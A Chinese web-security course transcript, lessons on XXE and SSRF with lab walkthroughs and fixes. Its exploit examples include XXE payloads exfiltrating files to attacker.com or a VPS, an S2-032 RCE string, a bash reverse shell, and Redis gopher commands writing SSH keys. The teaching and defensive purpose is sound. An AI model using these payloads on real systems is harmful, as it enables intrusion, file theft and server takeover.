检测示例：

<?xml version="1.0"?>
<!DOCTYPE test [
    <!ENTITY xxe SYSTEM "http://your-subdomain.collaborator-server">
]>
<test>&xxe;</test>

如果存在XXE漏洞，协作服务器会收到请求。

XXE漏洞利用

有回显利用

当存在回显时，可以直接读取文件内容。

以下是三种常见方式：

  1. 直接文件读取：<!ENTITY xxe SYSTEM "file:///etc/passwd">
  2. PHP伪协议：<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
  3. 带特殊字符的文件：使用前述的CDATA方法

无回显利用

大多数情况下，服务器不会直接返回解析结果，需要使用外带数据通道。

以下是利用思路：

  1. 定义参数实体读取目标文件
  2. 将文件内容作为URL的一部分发送到攻击者控制的服务器

实现示例：

  1. 攻击者服务器上的evil.dtd：
<!ENTITY % file SYSTEM "file:///d:/test.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com:8998/?%file;'>">
%eval;
%exfil;
  1. 目标XML：
<!DOCTYPE test [
    <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
    %dtd;
]>
<test>test</test>

内网探测

利用XXE可以进行内网主机和端口探测。

以下是探测方法：

  1. 主机发现：
<!DOCTYPE test [
    <!ENTITY xxe SYSTEM "http://192.168.1.1:80">
]>
<test>&xxe;</test>

通过响应时间判断主机是否存活。

  1. 端口扫描：
<!DOCTYPE test [
    <!ENTITY xxe SYSTEM "http://192.168.1.1:PORT">
]>
<test>&xxe;</test>

将PORT设为变量进行爆破。

漏洞防御

要防御XXE漏洞，需要在解析XML时采取适当措施。

以下是防御建议：

  1. 禁用外部实体：在XML解析器中禁用外部实体加载
  2. 使用安全解析器：选择默认安全的XML解析库
  3. 输入验证：对XML输入进行严格验证和过滤
  4. 最小权限：以最小必要权限运行解析XML的应用程序

PHP示例：

libxml_disable_entity_loader(true);

Java示例：

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

总结

本节课中我们一起学习了XXE漏洞的利用技术，包括参数实体的使用、有回显和无回显场景下的攻击方法，以及内网探测技术。同时，我们也了解了如何通过禁用外部实体和使用安全配置来防御这类漏洞。掌握这些知识对于理解和防范XML相关安全风险至关重要。

课程 P34：第32天 - XXE漏洞修复及思路 🔧

在本节课中，我们将学***E漏洞的修复方法，并了解一种通过上传Excel文件触发XXE漏洞的特殊利用场景。课程内容将涵盖修复方案、代码示例以及一个实战演示。

概述：XXE漏洞修复与Excel利用场景

本节课是XXE课程的最后一节。我们将首先介绍一种在Java中通过上传Excel文件（.xlsx格式）触发XXE漏洞的利用方式，这在近期的CTF比赛中出现过。随后，我们将重点讲解在不同编程语言中修复XXE漏洞的标准方案。

通过上传Excel文件触发XXE漏洞 📁

如果网站存在文件上传功能，并且支持上传Excel（.xlsx）格式文件，则可能存在XXE漏洞。

其利用过程如下：

  1. 新建一个Excel文件，将其后缀名改为.zip。解压后会发现它由多个XML文件组成。
  2. 修改解压后文件中的 [Content_Types].xml 文件内容。
  3. 在文件中插入包含外部实体声明的DTD和实体引用。
  4. 将修改后的文件重新压缩为.zip，再改回.xlsx后缀。
  5. 上传该文件。如果服务器后端使用存在漏洞的组件（如Apache POI）解析此Excel文件，就会解析我们插入的恶意XML，并向我们指定的地址发起请求。

以下是插入 [Content_Types].xml 的恶意内容示例：

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE test [
<!ENTITY % remote SYSTEM "http://攻击者IP:端口/evil.dtd">
%remote;
]>

当服务器解析该文件时，会访问http://攻击者IP:端口/evil.dtd，从而证明漏洞存在。

XXE漏洞修复方案 🛡️

上一节我们介绍了一种特殊的XXE利用方式，本节中我们来看看如何从根本上修复XXE漏洞。修复的核心思路是禁用XML解析器对外部实体的加载。

以下是不同语言中的修复方法：

Java 中的修复

在Java中，通过设置解析器的相关属性来禁用外部实体。

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

PHP 中的修复

在PHP中，使用libxml_disable_entity_loader函数来禁用实体加载器。

libxml_disable_entity_loader(true);

Python 中的修复

在Python的lxml库中，通过设置resolve_entities参数为False来修复。

from lxml import etree
parser = etree.XMLParser(resolve_entities=False)
tree = etree.parse(xml_source, parser)

注意：不推荐仅通过过滤用户输入的关键字（如<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC等）来防御，这种方法可能存在被绕过的风险。上述禁用外部实体加载的方法更为有效和安全。

无回显漏洞利用中的外网连接问题 🌐

在利用无回显XXE漏洞外带数据时，需要一个能让目标服务器访问到的公网地址来接收数据。

如果你没有自己的服务器，可以使用一些内网穿透工具（如ngrok、natapp等）来获得一个临时的公网域名，并将请求转发到本地开启的服务（如Tomcat）上，从而查看外带出来的日志信息。

总结与作业 📝

本节课我们一起学习了XXE漏洞的修复方案，并了解了一种通过上传Excel文件触发XXE的利用场景。核心修复方法是在代码中禁用XML解析器的外部实体加载功能。

课后作业：
请完成靶场中关于XXE漏洞的相关挑战（包括有回显和无回显两种场景），目标是通过漏洞利用成功登录系统。

课程提示：本系列XXE课程到此结束。请结合之前的课程内容，理解漏洞原理、利用方式及修复方法，并完成所有实践练习以巩固知识。

课程P35：第33天 - XXE漏洞实战考核讲解 🔍

在本节课中，我们将详细讲解第33天的课程考核内容，主要围绕两道XXE（XML外部实体注入）漏洞实战题目展开。我们将分析解题思路，指出常见错误，并总结核心知识点。

概述 📋

本节课旨在回顾和巩固XXE漏洞的知识，特别是有回显和无回显两种场景下的利用方法。我们将通过分析学员提交的解题过程，梳理正确的攻击流程，并纠正常见的配置与理解错误。

上一节我们介绍了XXE的基本原理，本节中我们来看看如何在实际靶场中应用这些知识。

第一题：有回显XXE漏洞利用 ✅

第一道题目是一个典型的有回显XXE漏洞场景。攻击目标是读取服务器上的 do_login1.php 文件，获取其中的账户密码信息。

解题步骤

以下是利用有回显XXE读取文件的标准流程：

  1. 抓包与探测：首先使用Burp Suite等工具拦截登录请求的数据包。尝试修改username字段的值，观察响应包中是否有对应的回显，以此判断是否存在XXE漏洞。
  2. 引入外部实体：确认漏洞存在后，构造Payload引入一个外部实体。例如，使用在线平台（如ceye.io）提供的DTD地址进行测试，观察该平台是否收到请求，以验证外部实体加载成功。
    <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://your-ceye-address.ceye.io"> ]>
<user><username>&xxe;</username><password>123</password></user>
  3. 读取目标文件：利用php://filter协议读取do_login1.php文件的内容。由于响应会直接回显，我们可以从响应中获取编码后的文件内容。
    <!DOCTYPE test [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=do_login1.php">
]>
<user><username>&xxe;</username><password>123</password></user>
  4. 解码与获取凭证：将响应中返回的Base64编码字符串进行解码，即可得到do_login1.php的源代码，从中找到登录的用户名和密码。

核心要点：在有回显的场景下，攻击流程直接，可以通过响应包直接获取数据。

第二题：无回显XXE漏洞利用 🔄

第二道题目是无回显场景。服务器在处理XML后，仅返回一个表示成功或失败的代码（如0或1），不会在响应中直接输出文件内容。

上一节我们介绍了有回显的利用，本节中我们来看看无回显场景下如何通过“带外”（Out-of-Band）技术将数据外带。

解题思路与常见问题

无回显XXE的核心思路是：让服务器去访问一个由攻击者控制的Web服务器，并将目标文件的内容作为URL参数的一部分带出。攻击者通过查看自己服务器的访问日志来获取数据。

以下是学员在解题时常遇到的几个问题：

  1. DTD文件存放位置错误：用于定义恶意实体的DTD文件必须存放在一个公网可访问的服务器上（例如VPS），并确保靶场服务器能够通过URL访问到它。常见的错误是将DTD放在本地或靶场服务器的根目录下，但未配置公网访问。
  2. Payload构造错误：无回显利用的Payload结构更为复杂，通常涉及多层参数实体的嵌套调用。一个典型的错误是实体调用顺序错误或语法错误（如缺少分号、错误的实体类型）。
  3. 日志查看位置错误：数据被外带到攻击者的服务器后，需要查看该服务器的Web访问日志（如Apache的access.log）来获取编码后的文件内容。有学员误去查看靶场服务器的日志。

标准Payload结构分析

一个典型的无回显XXE利用Payload由两部分组成：

第一部分：主Payload（发送给靶场）

<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "http://your-vps-ip/evil.dtd">
    %remote;
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=do_login2.php">
    <!ENTITY % send SYSTEM "http://your-vps-ip/?data=%file;">
    %send;
]>
<user><username>test</username><password>test</password></user>
  • %remote;：引入外部DTD文件。
  • %file;：定义参数实体，用于读取并编码目标文件。
  • %send;：定义参数实体，用于向攻击者服务器发起携带数据的HTTP请求。

第二部分：外部DTD文件（evil.dtd，存放在攻击者VPS上）

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://your-vps-ip/?data=%file;'>">
%all;
  • 此DTD定义了如何将%file;实体的内容拼接到请求URL中。

执行流程：靶场服务器解析主Payload → 加载远程evil.dtd → 执行evil.dtd中的定义 → 向http://your-vps-ip/?data=[base64-data]发起请求 → 攻击者在VPS的访问日志中查看data参数的值 → 解码获得文件内容。

总结与要点回顾 🎯

本节课中我们一起学习了XXE漏洞在两种不同场景下的实战利用：

  1. 有回显XXE：利用流程直接，通过构造读取文件的Payload，可直接从响应中获取Base64编码的数据，解码后得到敏感信息。
  2. 无回显XXE：利用流程较为复杂，需要准备公网可访问的服务器来托管DTD文件，并通过构造嵌套的参数实体，将数据外带到攻击者服务器的访问日志中。

核心公式可以概括为：

  • 有回显：漏洞点 + 文件读取Payload = 直接回显数据
  • 无回显：漏洞点 + 远程DTD + 数据外带Payload + 日志查看 = 间接获取数据

希望本次讲解能帮助大家理清XXE漏洞的利用思路。如果在后续实践中遇到问题，可以回顾本教程中的步骤与要点。

网络安全就业推荐 - 课程P36：第34天：SSRF漏洞 - 简介、利用与防御 🛡️

在本节课中，我们将要学习服务端请求伪造漏洞。这是一种允许攻击者诱使服务器向任意目标发起网络请求的漏洞，常被用作“穿越网络防火墙的通行证”。

什么是SSRF？🤔

SSRF，全称 Server-Side Request Forgery，即服务端请求伪造。攻击者可以构造一个由服务器执行的恶意请求链接，从而造成漏洞。该漏洞通常用于外网探测或攻击内网服务。

其形成原因大多是：服务端提供了从其他服务器应用获取数据的功能，但没有对目标地址进行严格的过滤和限制。

例如，一个网站加载托管在其他服务器上的图片时，如果未对请求图片资源的链接（URL）进行限制和过滤，就可能存在SSRF漏洞。攻击者可以伪造请求目标，让存在漏洞的服务器向指定的内网IP和端口发起请求。

最常见的例子是：攻击者传入一个未经验证的URL，后端代码直接请求该URL，从而造成SSRF漏洞。

SSRF与CSRF的区别 ⚖️

上一节我们介绍了SSRF的基本概念，本节中我们来看看它与另一个常见漏洞CSRF的区别。

  • CSRF：跨站请求伪造。发生在用户登录网站A后，攻击者诱使用户访问恶意网站B，网站B利用用户的登录状态（如Cookie）向网站A发起非用户本意的请求。其根源是服务端没有对用户提交的数据进行随机值校验，或没有校验HTTP请求头中的Referer字段。
  • SSRF：服务端请求伪造。利用的是服务器对用户提供的URL过于信任，没有对该URL进行充分的限制和恶意性检测。攻击者可以利用存在SSRF漏洞的服务器作为跳板，攻击内网或其他服务器。

SSRF的攻击危害 💥

SSRF漏洞的危害主要体现在以下几个方面：

以下是SSRF漏洞的主要危害：

  1. 信息收集：攻击者可以利用SSRF漏洞获取Web应用可达服务器的Banner信息，收集内网服务的指纹信息，以及探测内部网络结构和开放的端口。
  2. 攻击内网服务：攻击者可以攻击运行在内网的系统或应用程序。由于内网服务的安全防护可能不如外网严格，可能存在未授权访问等漏洞。通过SSRF攻击这些漏洞，可能直接获取Web Shell，从而绕过防火墙进入目标内网。
  3. 读取内部资源与执行攻击：通过特定的URL协议，攻击者可以读取服务器内部的敏感文件。同时，可以结合内网中存在的其他漏洞（如Redis未授权访问、Struts2命令执行等）执行相应的攻击动作，例如写入Webshell或反弹Shell。

SSRF漏洞的常见场景 🔍

了解了SSRF的危害后，我们来看看在哪些地方可能找到这种漏洞。

以下是从Web功能点寻找SSRF漏洞的常见场景：

  1. 通过URL地址分享网页内容：例如文章分享到微博、QQ空间等功能。这些功能会通过用户提供的URL链接获取目标网站的标题、图片等内容。如果未对用户提供的链接进行过滤，就可能存在SSRF漏洞。
  2. 在线翻译：例如百度翻译、有道翻译等提供的“翻译网页”功能。该功能会请求用户输入的URL以获取网页内容进行翻译。如果未对URL进行限制，就可能存在SSRF漏洞。
  3. 通过URL地址加载与下载图片：网站通过用户提供的URL远程加载或下载图片资源。
  4. 图片/文章收藏功能：例如印象笔记的收藏功能，它会请求用户提供的URL以保存文章内容。

此外，还可以通过URL中的关键字（如 url、link、src 等）来寻找可能存在SSRF漏洞的参数。

总结来说，SSRF漏洞常出现在两类场景：

  • 能够对外发起网络请求的地方。
  • 从远程服务器请求资源（如图片、文本）的功能点。

SSRF漏洞的利用与测试 🛠️

发现潜在的SSRF漏洞后，我们需要利用一些特定的URL协议来进行测试和利用。

以下是SSRF利用中常用的几种URL协议：

  1. dict:// 协议：字典服务器协议。可用于获取目标服务器上特定端口运行服务的版本等Banner信息。
    • 本地利用示例：curl -v “dict://127.0.0.1:3306” 可以探测本地MySQL服务的版本信息。
    • 远程利用：在存在SSRF漏洞的参数中，构造 dict://内网IP:端口 的Payload，服务器会请求该端口并返回服务信息。
  2. file:// 协议：文件系统协议。用于读取服务器本地文件系统的内容。
    • 利用示例：构造 file:///etc/passwd 可以尝试读取Linux系统的密码文件。
  3. gopher:// 协议：一个功能强大的协议，堪称“万金油”。它可以发送预先构造好的数据包，常用于攻击内网服务，如Redis未授权访问。
    • 利用示例：curl “gopher://127.0.0.1:6789/_HI%20Everyone%0AThis%20is%20just%20a%20test” 会向本地的6789端口发送一段文本数据。

PHP中易导致SSRF的函数 ⚙️

在PHP开发中，某些函数使用不当极易引发SSRF漏洞。

以下是三个需要重点关注的PHP函数：

  1. curl_exec()：用于执行cURL会话，获取URL内容。如果前端传入的URL参数未经处理直接传给此函数，攻击者可以构造恶意URL进行利用。
  2. file_get_contents()：将整个文件读入一个字符串。同样，如果参数可控，攻击者可以利用它读取文件或请求URL。特别需要注意的是，此函数支持PHP伪协议 php://filter，可用来读取网站源码（如 php://filter/convert.base64-encode/resource=index.php），避免PHP代码被直接解析执行。
  3. fsockopen()：打开一个网络连接或Unix套接字连接。此函数主要用于对IP地址或域名进行原始Socket连接，并读取返回内容。它只能处理IP/域名，不能直接处理完整的HTTP URL。

无回显的SSRF（Blind SSRF）与检测方法 🕵️♂️

前面介绍的案例都有明显的回显（即请求结果会显示在页面上）。但存在一种情况，服务端虽然发起了请求，却不将结果返回给前端页面，这就是“无回显SSRF”。

对于无回显的SSRF，我们可以通过以下两种带外通道技术进行检测：

  1. HTTP带外通道：利用Burp Suite Collaborator客户端或自己的公网服务器。将带有唯一子域名的Collaborator URL或自己的服务器地址作为Payload，如果目标服务器发起了请求，我们就能在Collaborator或服务器日志中看到记录，从而证实漏洞存在。
  2. DNSLog：利用DNS解析记录。使用 dnslog.cn 等平台提供的子域名作为Payload。如果目标服务器尝试解析该域名，就会在平台留下DNS解析日志，从而判断漏洞存在。

SSRF的限制与绕过方法 🚧

服务端可能会对SSRF进行一些防御性限制，例如过滤内网IP、特定协议等。攻击者则需要掌握一些绕过技巧。

以下是几种常见的SSRF限制绕过方法：

  1. 利用 @ 符号：URL格式 http://example.com@192.168.1.1。实际请求的是@符号后的IP地址，但前端显示的是@前的域名，可用于绕过一些基于域名的过滤。
  2. IP地址转换进制：将IP地址转换为八进制、十进制或十六进制格式。例如，192.168.1.1 可转换为：
    • 八进制：0300.0250.01.01
    • 十进制：3232235777
    • 十六进制：0xC0A80101
      浏览器在解析时通常会将其还原为标准IP。
  3. 添加端口：在某些正则匹配不严谨的情况下，为URL添加端口可能绕过过滤，例如 http://192.168.1.1:80。
  4. 利用短地址/重定向服务：使用 xip.io、nip.io 或URL短链接服务。例如 192.168.1.1.xip.io 会解析到 192.168.1.1，可以绕过对直接IP地址的过滤。
  5. 利用句号替代点：在某些解析场景下，127。0。0。1（使用中文句号）可能被等价解析为 127.0.0.1。

SSRF漏洞的防御 🛡️

最后，我们从防御角度总结一下应对SSRF漏洞的措施。

以下是防御SSRF漏洞的几种有效方法：

  1. 过滤返回信息：对服务端请求返回的内容进行严格检查，如果包含敏感信息（如内网IP、端口Banner等），则不予显示。
  2. 统一错误信息：避免通过请求的成功或失败状态（如响应时间、布尔值True/False）来推断内网信息。
  3. 限制请求端口：只允许访问Web应用需要的常用端口，如80、443、8080等。
  4. 设置IP黑名单：严格禁止访问内网IP地址段（如 10.0.0.0/8， 172.16.0.0/12， 192.168.0.0/16）和回环地址（127.0.0.0/8）。
  5. 禁用不必要的协议：仅允许使用HTTP和HTTPS协议，禁用 file://、gopher://、dict:// 等危险协议。
  6. 进行白名单校验：对用户输入的URL进行严格的白名单校验，只允许访问预期的、可信的域名或IP。

总结 📚

本节课中我们一起学习了SSRF漏洞。我们从SSRF的基本概念和形成原因讲起，理解了它作为“内网通行证”的危害。我们区分了SSRF与CSRF，并列举了SSRF常见的攻击场景和利用方式，包括使用 dict、file、gopher 等协议进行信息探测和攻击。我们还探讨了PHP中易引发SSRF的危险函数，以及如何检测无回显的SSRF。最后，我们学习了攻击者可能使用的绕过技巧，并从开发角度总结了多种有效的防御方案。掌握这些知识，对于挖掘和防范SSRF漏洞至关重要。

课程P37：第35天：SSRF漏洞课程考核讲解 🎯

在本节课中，我们将对上节课布置的两个SSRF漏洞实战考核题目进行详细讲解。我们将一起回顾SSRF漏洞的测试与利用思路，分析题目中的关键点，并学习如何将理论知识应用于解决实际问题。

概述

本节课是Web安全培训系列课程的最后一节核心内容课。我们将聚焦于SSRF漏洞的实战考核，通过分析两个具体的题目，串联起SSRF漏洞的发现、信息探测和利用的完整思路。理解这些思路对于后续的就业实战至关重要。

题目回顾与整体思路

上节课我们布置了两个SSRF相关的实战题目。这两个题目的核心考点是：在file://协议被过滤的情况下，如何利用其他协议进行内网探测和攻击。

一个直接的思路是，如果file://协议可用，已知flag文件位置，则可以直接通过file:///path/to/flag读取。但题目刻意过滤了此协议，增加了挑战性。

接下来，我们将按照标准的SSRF利用流程，逐步拆解解题步骤。

SSRF漏洞利用标准流程

上一节我们介绍了SSRF漏洞的基本概念，本节中我们来看看如何系统地利用一个SSRF漏洞。标准的利用流程通常包含以下几个步骤：

1. 探测支持的URL协议

首先，我们需要确定目标后端支持哪些URL协议（Schema）。这是所有后续攻击的基础。

以下是常见的用于测试的协议及方法：

  • http:// / https://: 输入一个公网URL（如http://www.baidu.com），观察是否返回该页面的源代码。若能返回，则证明后端会向指定URL发起请求并回显结果。
  • dict://: 尝试连接一个由我们控制的公网服务器的已知端口（如dict://your-vps-ip:22）。在服务器端监听该端口，若收到连接请求，则证明dict://协议可用，并能用于探测内网端口和服务信息。
  • ftp://: 类似地，尝试ftp://your-vps-ip:21。在服务器端监听21端口，验证连接是否建立。
  • gopher://: 这是一个功能强大的协议，可以构造特定数据包攻击内网服务（如Redis、MySQL）。需要先验证其是否被支持。
  • file://: 尝试读取系统文件（如file:///etc/passwd），但在此次题目中已被过滤。

通过以上测试，我们确认了目标支持dict://和ftp://等协议，为后续探测铺平了道路。

2. 探测内网资产信息

在确认可利用dict://协议后，下一步是探测目标内网开放的端口及服务。

手动测试效率低下。以下是高效探测的方法：

  • 使用Burp Suite的Intruder模块，对目标内网IP（如127.0.0.1）的1-65535端口进行爆破。
  • Payload设置为：dict://127.0.0.1:§port§
  • 通过分析响应（如状态码、返回的Banner信息）来判断端口开放情况。

例如，探测结果可能显示开放了以下端口：

  • 22 -> SSH服务
  • 3306 -> MySQL数据库
  • 8080 -> Tomcat/HTTP服务
  • 6379 -> Redis服务

3. 针对具体服务进行攻击

获取内网端口信息后，就可以针对具体的服务展开攻击。这是利用SSRF漏洞获取Shell或敏感信息的关键一步。

以下是根据不同端口的常见攻击思路：

  • 22端口 (SSH): 若存在弱口令，可尝试爆破。但更常见的利用方式是结合其他漏洞（如Web漏洞获取权限后）写入SSH公钥实现免密登录。
  • 3306端口 (MySQL): 利用Gopher协议攻击MySQL，通常需要已知数据库账号密码。
  • 6379端口 (Redis): 利用Redis未授权访问漏洞，通过Gopher协议写入SSH公钥、Webshell或定时任务来反弹Shell。
  • 8080端口 (HTTP): 访问该Web服务，识别其框架（如Struts2），寻找对应的历史漏洞进行利用。

题目一详解：有回显的SSRF

第一个题目是一个典型的SSRF漏洞点，提示输入URL，并会返回访问结果。

解题步骤

  1. 协议探测：验证支持dict://协议。
  2. 端口扫描：使用Burp Suite爆破内网端口，发现开放8080端口。
  3. 服务识别：访问http://127.0.0.1:8080，根据返回信息识别出是Struts2框架。
  4. 漏洞利用：查找Struts2的历史漏洞PoC进行测试。例如，使用S2-032漏洞的PoC执行命令：
    http://127.0.0.1:8080/xxx.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=whoami&pp=\\A&ppp=%20&encoding=UTF-8
    若回显root，则证明命令执行成功。
  5. 获取Shell：将PoC中的cmd参数替换为反弹Shell命令（如bash -i >& /dev/tcp/your-vps-ip/port 0>&1），在公网VPS上监听对应端口，即可获得一个内网Shell。

核心思路：利用SSRF作为跳板，攻击内网中存在的脆弱Web应用（Struts2），通过其RCE漏洞获取内网主机权限。

题目二详解：结合Redis未授权访问

第二个题目是“网站源码获取系统”，同样存在SSRF。

解题步骤

  1. 信息收集：同样通过dict://协议探测到内网开放6379端口（Redis）。
  2. 漏洞验证：尝试直接连接redis://127.0.0.1:6379，或利用SSRF探测Redis信息，确认存在未授权访问漏洞。
  3. 利用准备：Redis未授权访问常通过Gopher协议进行攻击。我们需要生成一个能写入SSH公钥或计划任务的Payload。
  4. Payload生成与转换：直接使用Redis客户端命令无法通过Gopher发送，需要将其转换为Gopher协议可发送的格式。
    • 原始Redis命令（写入SSH公钥示例）：
      flushall
set 1 '公钥内容'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
    • 转换规则：
      1. 去掉响应行（如+OK）和无关信息。
      2. 将每行命令末尾的\r\n替换为URL编码%0d%0a。
      3. 将所有行连接成一行字符串。
    • 最终Gopher Payload：
      gopher://127.0.0.1:6379/_转换后的单行字符串
  5. 发起攻击：将生成的Payload通过题目中的SSRF漏洞点提交。如果成功，公钥将被写入目标Redis服务器的/root/.ssh/authorized_keys文件。
  6. 登录系统：使用对应的私钥，通过SSH直接免密登录目标内网服务器。

简化工具：可以使用现成脚本（如redis-rogue-server或Gopherus）自动生成攻击Redis的Gopher Payload。
例如使用Gopherus：

python gopherus.py --exploit redis

然后选择反弹Shell或写入Webshell，并设置监听IP，工具会自动生成Payload。

总结与课程展望

本节课中，我们一起深入分析了两个SSRF漏洞的实战考核题目。我们系统性地回顾了从协议探测、内网端口扫描到针对特定服务（如Struts2、Redis）进行深度利用的完整链条。

核心要点总结：

  1. SSRF利用基础：确认支持的非HTTP协议（如dict://, gopher://）是内网探测的前提。
  2. 信息收集是关键：使用工具（如Burp Intruder）高效探测内网端口，识别服务。
  3. 漏洞串联：SSRF本身可能无法直接获取数据，但其价值在于作为攻击内网的跳板，需要与内网服务漏洞（如Struts2 RCE、Redis未授权）结合利用。
  4. 协议利用：gopher://协议功能强大，是攻击内网数据库、缓存等服务的利器，但需掌握Payload的转换方法。

通过本次考核讲解，希望大家能将SSRF的理论知识融会贯通，形成清晰的渗透测试思维。后续课程将进入就业指导阶段，帮助大家梳理知识体系，准备简历与面试。

🛡️ 课程 P38：Web安全漏洞挖掘思路梳理

在本节课中，我们将系统梳理Web安全中常见漏洞的挖掘思路。课程将重点讲解如何手动发现漏洞，并结合扫描器进行验证。我们会逐一分析XSS、SQL注入、文件上传、文件包含、命令执行、逻辑漏洞、XXE、SSRF等漏洞的常见出现位置和挖掘方法，帮助初学者建立清晰的渗透测试思维框架。

🎯 明确渗透目标与常规思路

进行渗透测试或Web安全评估时，首先要明确目标。我们的最终目的通常是获取服务器权限（Get Shell）或窃取核心数据。

最常规的渗透思路如下：

  1. 直接测试目标主站是否存在漏洞。
  2. 若主站无果，则探测其子域名、C段IP、移动端App、小程序等资产。
  3. 若仍无突破，则考虑进行社会工程学或钓鱼攻击。

整个过程中，最困难的环节是“打点”，即找到目标的脆弱边界作为突破口。本节课的核心就是讲解如何手动寻找这些“点”。

🔍 XSS（跨站脚本）漏洞挖掘

上一节我们明确了渗透的目标和常规流程，本节中我们来看看如何挖掘具体的漏洞。首先从XSS开始。

XSS漏洞主要分为反射型和存储型两种。挖掘思路非常简单：有输入框就测试，有内容编辑功能就测试。

以下是XSS漏洞的常见出现位置：

  • 存储型XSS：通常出现在可以编辑并保存内容的位置，如文章标题、评论、个人简介等。攻击者插入的恶意脚本会被保存到服务器，影响所有访问该页面的用户。
  • 反射型XSS：通常出现在搜索框、URL参数（如用户名、订单ID）等位置。恶意脚本不会存储在服务器，而是通过链接诱使用户点击触发。

核心验证方法：在可疑位置插入一段简单的JavaScript代码，如 <script>alert(1)</script>，观察是否弹窗。

关于HttpOnly的补充：HttpOnly属性旨在防止XSS漏洞窃取Cookie值，但它并不能完全防御XSS攻击。攻击者依然可以利用XSS构造请求（如发起CSRF攻击）或进行其他前端操作。

💉 SQL注入漏洞挖掘

了解了前端脚本漏洞，我们转向更底层的数据库漏洞。SQL注入的核心是找到Web应用与数据库交互的点。

数据库的基本操作是增、删、改、查（CRUD）。因此，我们需要关注Web应用中可能执行这些操作的功能点。

以下是SQL注入的常见出现位置：

  • 查询功能：这是最高发的位置，如搜索框、商品筛选、数据查询接口。
  • 用户交互功能：登录、注册、密码找回、个人信息更新（更新操作）等。
  • 管理功能：后台的数据添加、删除、修改操作。

核心验证方法：在参数后添加单引号 ‘、and 1=1、and 1=2 等测试payload，观察页面返回结果是否存在差异，或是否报出数据库错误。

📁 文件上传漏洞挖掘

数据库注入通常发生在输入点，而文件上传漏洞则是一个独立的攻击面。文件上传功能不仅可能导致网站被植入后门，还可能引发其他漏洞。

文件上传漏洞的影响远不止“上传Webshell”。

以下是文件上传漏洞可能造成的几种影响：

  1. 上传Webshell：直接获取服务器控制权。
  2. 上传HTML文件造成XSS：在可被访问的目录上传包含恶意脚本的HTML文件。
  3. 导致RCE（远程命令执行）：某些文件处理组件（如图片处理库ImageMagick）存在漏洞，上传特定文件可触发命令执行。
  4. 导致XXE（XML外部实体注入）：上传包含恶意XML内容的文件（如某些特定格式的文档），若服务器解析该文件，可能造成XXE攻击。

挖掘思路：关注所有允许上传文件的功能点，如头像上传、附件上传、视频上传、Excel导入等。

📄 文件包含与任意文件读取漏洞挖掘

与文件上传相对应，文件读取功能也常常存在安全隐患。这类漏洞在实战中非常常见。

任意文件下载/读取漏洞的挖掘重点非常集中。

该漏洞最常见于文件下载功能。当下载文件时，参数中可能直接包含文件名或文件路径。

挖掘方法：

  1. 拦截文件下载请求。
  2. 观察参数（如 file=report.pdf、path=/uploads/）。
  3. 尝试修改参数进行路径穿越，例如尝试读取 ../../../../etc/passwd 等系统敏感文件。

⚙️ 命令执行与逻辑漏洞挖掘

有些漏洞直接关联系统层，有些则与业务逻辑紧密相关。命令执行漏洞种类繁多，通常依赖于对特定组件历史漏洞的了解。

命令执行漏洞通常与第三方组件、框架或中间件的已知漏洞相关。

常见的攻击点包括：

  • 存在漏洞的框架，如 Struts2、Spring Boot。
  • 存在漏洞的中间件，如 WebLogic、Jenkins。
  • 存在漏洞的组件，如 Fastjson、Shiro。

核心要点：知识面决定了攻击面。多积累历史漏洞知识，才能更快地识别出潜在的攻击点。

逻辑漏洞是扫描器难以自动发现的，它完全取决于程序员的业务逻辑设计。

逻辑漏洞没有固定的模式，但有一些常见的场景：

  • 任意用户密码重置：绕过验证码、修改返回包状态、利用响应时间差等。
  • 越权访问：平行越权（访问其他用户数据）、垂直越权（普通用户访问管理员功能）。
  • 业务流程绕过：如优惠券无限领取、支付金额篡改等。

挖掘思路：深入理解业务逻辑，对每个关键步骤进行“非常规”测试，尝试绕过正常的校验流程。

🧩 XXE与SSRF漏洞挖掘

最后，我们来看两种需要特定条件触发，但危害极大的漏洞：XXE和SSRF。

XXE漏洞发生在应用程序解析XML输入时。我们需要寻找那些会处理XML数据的功能点。

以下是XXE漏洞的常见触发点：

  1. XML数据接收点：任何接受XML格式数据的接口（如SOAP API）。
  2. 文件上传点：上传Office文档（.docx, .xlsx 本质是ZIP包，内含XML）、SVG图像等，服务器解压或解析时可能触发。
  3. 图片上传点：某些图片处理库（如ImageMagick）在解析特定格式图片时可能处理其中的XML内容。

SSRF漏洞允许攻击者诱使服务器向内部或任意网络发起请求。

SSRF漏洞几乎只出现在需要服务器从指定URL获取资源的功能中。

以下是SSRF漏洞的典型场景：

  • 在线识图/图片处理：提供图片URL让服务器抓取并处理。
  • 头像设置：通过URL设置远程头像。
  • 网页抓取/转码：提供网页URL让服务器抓取内容。
  • 文件导入：通过URL导入远程文件。

挖掘方法：寻找所有包含URL地址的参数，尝试将其值修改为 http://内网IP、file:///etc/passwd 或 http://burpcollaborator.net 等地址进行测试。

📚 总结与进阶思路

